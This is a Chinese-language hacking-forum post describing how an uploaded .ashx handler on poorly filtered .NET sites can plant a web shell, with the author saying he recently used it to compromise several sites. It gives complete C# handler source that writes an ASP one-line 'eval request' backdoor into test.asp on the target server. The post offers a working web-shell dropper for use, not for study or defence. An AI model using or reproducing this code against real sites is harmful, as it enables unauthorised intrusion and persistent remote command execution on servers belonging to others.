一年前黑阔用的那个ashx上传详解
2741 点击·0 回帖
![]() | ![]() | |
![]() | 图片:20130313112856441.png ![]() 这段代码相信大家看得懂吧,前几天拿几个.NET的站,在上传问题上,突然想起一年前黑阔们用的那个ashx,于是成功拿下shell。 本程序涉及 .NET程序及上传未过滤ashx格式的。 但是发现那个ashx代码扔掉了,当时只顾用,没注意代码, 于是百度看了下,其实原理很简单。然后自己简单的写了一个。 这是一个.NET的一般处理程序可以在浏览器中像asp php aspx等脚本一样运行。只要能传上他,直接用IO类型生成一下就搞定了。 只要打开地址,即可生成。 上面的变量name是文件名,str变量是一句话,中间用转义符/ 分开 string str=”"; 一句话密码那儿是用引号的,用转义符隔开,不然会出问题。 图片:20130313112856746.png ![]() 这里name是调用上面的变量 获取物理路径,然后写入str。 其实很多过了很久的东西,用着依然好用。 源码: <%@ webHandler Language=”C#” Class=”DisKill” %> usingSystem; using System.Web; using System.IO; public class DisKill :IHttpHandler { public void ProcessRequest (HttpContext context){ context.Response.ContentType = “text/plain”; string name = “test.asp”; string str=”<%evalrequest(\”DisKill\”)%>”; try { StreamWriter sw = newStreamWriter(context.Server.MapPath(name)); sw.Write(str); sw.Flush(); sw.Close(); context.Response.Write(“上传成功”); } catch(Exception) { context.Response.Write(“上传失败”); } } public boolIsReusable { get { return false; } } } | |
![]() | ![]() |